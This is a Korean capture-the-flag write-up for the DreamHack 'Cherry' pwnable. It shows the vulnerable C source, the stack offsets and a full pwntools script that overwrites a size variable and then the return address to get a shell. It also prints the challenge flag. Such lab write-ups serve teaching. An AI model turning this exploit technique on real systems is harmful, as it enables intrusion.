[🥉 Bronze 3] 크기 변수 자체가 과일이었다 — DreamHack Cherry 풀이

문제: DreamHack — Cherry 분류: Pwnable 난이도: 🥉 Bronze 3 FLAG: DH{0d88cd8c8c1123b99fb478e60ff081cea9bfecc925d72609ab061b8279c83709}

문제 설명은 "주어진 바이너리와 소스 코드를 분석하여 익스플로잇하고 플래그를 획득하세요! 플래그는 flag.txt 파일에 있습니다."로 짧다. 소스(chall.c)와 바이너리(chall)가 그대로 제공되는, 소스가 있는 pwnable 중에서도 특히 코드가 짧은 문제였다 — 함수 네 개, 전체 50줄이 안 된다.

문제 개요

🔬 정찰 — 보호기법과 소스

checksec --file=chall

카나리가 없고 PIE도 꺼져 있다 — 스택 오버플로우로 반환 주소를 직접 덮어써도 아무 검증 없이 통과하고, 함수 주소도 실행할 때마다 고정이라는 뜻이다. 소스를 읽어봤다.

void flag() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};
  execve(cmd, args, NULL);
}
 
int main(int argc, char *argv[]) {
    int stdin_fd = 0;
    int stdout_fd = 1;
    char fruit[0x6] = "cherry";
    int buf_size = 0x10;
    char buf[0x6];
 
    initialize();
 
    write(stdout_fd, "Menu: ", 6);
    read(stdin_fd, buf, buf_size);
    if(!strncmp(buf, "cherry", 6)) {
        write(stdout_fd, "Is it cherry?: ", 15);
        read(stdin_fd, fruit, buf_size);
    }
 
    return 0;
}

가장 먼저 눈에 띄는 건 buf[0x6](6바이트)인데 read(stdin_fd, buf, buf_size)가 buf_size=0x10(16바이트)만큼 읽는다는 점 — 선언 크기보다 큰 값으로 읽어서 즉시 오버플로우가 난다. 그리고 flag()라는, 대놓고 /bin/sh를 실행시켜주는 함수가 이미 바이너리 안에 존재한다. 카나리도 없으니 전형적인 ret2win처럼 보였다.

buf(rbp-0x18) → 반환주소(rbp+0x8) 까지 거리 = 0x18 + 0x8 = 0x20(32바이트)
1차 read가 실제로 쓸 수 있는 최대 바이트 수 = buf_size = 0x10(16바이트)

💣 핵심 — 크기 변수 자체가 스택 위에 있다

objdump로 main의 스택 변수 배치를 정확히 추적했다.

objdump -d -M intel --disassemble=main chall

낮은 주소부터 정리하면 이렇다.

buf[6]       rbp-0x18 ~ rbp-0x12
fruit[6]     rbp-0x12 ~ rbp-0xc
buf_size     rbp-0xc  ~ rbp-0x8
stdout_fd    rbp-0x8  ~ rbp-0x4
stdin_fd     rbp-0x4  ~ rbp+0x0
saved rbp    rbp+0x0  ~ rbp+0x8
return addr  rbp+0x8  ~ rbp+0x10

첫 번째 read(stdin_fd, buf, buf_size)는 buf_size의 초깃값 0x10(16바이트)만큼 buf(rbp-0x18)부터 읽는다. buf(6B) + fruit(6B) + buf_size(4B) = 정확히 16바이트 — 이 첫 읽기의 마지막 4바이트가 정확히 buf_size 변수 자신의 위치에 착지한다. 즉 이 시점에서 이미 buf_size를 원하는 값으로 덮어쓸 수 있다.

이후 strncmp(buf, "cherry", 6) 검사는 buf의 처음 6바이트만 본다. 그러니 페이로드 앞 6바이트를 "cherry"로 맞춰서 검사만 통과시키면, 나머지 10바이트(fruit 6바이트 + buf_size 4바이트)는 완전히 자유롭게 채울 수 있다. buf_size를 예컨대 0x100처럼 큰 값으로 덮어쓰면, 곧바로 이어지는 두 번째 read(stdin_fd, fruit, buf_size)는 이제 공격자가 정한 크기만큼 fruit(rbp-0x12)부터 읽는다. fruit에서 반환 주소(rbp+0x8)까지는 정확히 26바이트(0x12+0x8=0x1a) — 두 번째 오버플로우는 이 거리를 가볍게 넘어 반환 주소까지 도달한다.

이 예상이 맞는지 실제 페이로드를 보내면서 gdb로 두 시점의 스택 메모리를 직접 찍어 확인했다.

gdb -q -batch \
  -ex 'break *0x40136d' -ex 'run < payload' \
  -ex 'printf "buf_size after 1st read = 0x%x\n", *(unsigned int*)($rbp-0xc)' \
  -ex 'break *0x4013bc' -ex 'continue' \
  -ex 'printf "return-addr slot after 2nd read = 0x%lx\n", *(unsigned long*)($rbp+0x8)' \
  ./chall

두 지점 모두 계산한 그대로였다 — 1차 read 직후 buf_size는 정확히 0x100으로, 2차 read 직후 반환 주소 자리는 정확히 flag()의 주소(0x4012bc)로 덮여 있었다. 정적 분석으로 추론한 오프셋이 런타임에서도 한 치의 오차 없이 맞아떨어진 걸 확인한 뒤에야 익스플로잇을 실행했다.

정리하면 공격은 2단계다.

1. 1차 입력(16바이트): "cherry" + 임의 6바이트 + buf_size를 큰 값으로 덮는 4바이트
2. 2차 입력(원하는 만큼): 26바이트 채움 + flag()의 주소(0x4012bc) 8바이트

🎯 자체 완결 solve

from pwn import *
 
FLAG_ADDR = 0x4012bc
p = process('./chall')  # 또는 remote(host, port)
 
# 1단계: buf_size(rbp-0xc) 자체를 덮어 확장
stage1 = b"cherry"          # strncmp(buf, "cherry", 6) 통과용
stage1 += b"A" * 6          # fruit 자리(내용 무관)
stage1 += p32(0x100)        # buf_size를 0x100으로 확장
 
p.recvuntil(b"Menu: ")
p.send(stage1)
 
# 2단계: 확장된 buf_size로 fruit부터 반환주소까지 오버플로우
stage2 = b"B" * 26 + p64(FLAG_ADDR)
 
p.recvuntil(b"Is it cherry?: ")
p.send(stage2)
 
p.sendline(b"echo SHELL_OK_$(id -u)")
print(p.recv())

먼저 로컬 바이너리로 정말 셸이 뜨는지 확인했다.

로컬에서 셸이 뜨는 걸 확인한 뒤, 같은 페이로드를 그대로 원격 서버에 쐈다.

python3 solve.py remote host3.dreamhack.games:10180

로컬과 정확히 같은 방식으로 원격에서도 셸이 뜨고, cat flag* 결과로 실제 flag가 그대로 돌아왔다.

FLAG: DH{0d88cd8c8c1123b99fb478e60ff081cea9bfecc925d72609ab061b8279c83709}

📝 결론

크기 제한 자체가 조작 가능한 데이터라면, 그 제한은 없는 것이나 마찬가지다. buf_size는 코드를 읽을 때는 "안전을 위해 명시적으로 지정한 읽기 길이"처럼 보이지만, 실제로는 스택 위의 평범한 지역 변수라서 인접한 버퍼의 오버플로우로 자유롭게 덮어쓸 수 있었다. 오버플로우 방지를 위해 크기를 상수로 넘기는 습관이 있다면, 그 상수가 담긴 변수의 메모리 위치가 공격 대상이 될 수 있다는 점까지 함께 고려해야 한다.

작은 1차 오버플로우가 훨씬 큰 2차 오버플로우의 문을 연다. 이 문제의 첫 read만 놓고 보면 반환 주소까지 도달하지 못하는, 얼핏 "덜 위험해 보이는" 오버플로우다. 하지만 그 여파가 다음 작업의 크기 제한 자체를 무력화하면서 훨씬 강력한 2차 취약점으로 이어졌다. 오버플로우 하나를 분석할 때 "얼마나 멀리 도달하는가"뿐 아니라 "무엇을 덮어쓰는가"까지 확인해야 하는 이유다.

checksec의 SHSTK/IBT 표시가 항상 실제 보호로 이어지지는 않는다. 이 바이너리는 Intel CET(섀도우 스택·간접분기추적) 지원 플래그를 달고 컴파일됐지만, 실제로 반환 주소를 덮어써도 별문제 없이 ret이 그대로 실행됐다. 커널·CPU가 CET를 실제로 활성화해 강제하지 않으면 바이너리의 요청 플래그는 장식에 가깝다 — checksec 결과를 볼 때는 "이 보호가 컴파일 타임에 요청됐는가"와 "런타임에 실제로 걸려 있는가"를 구분해서 봐야 한다.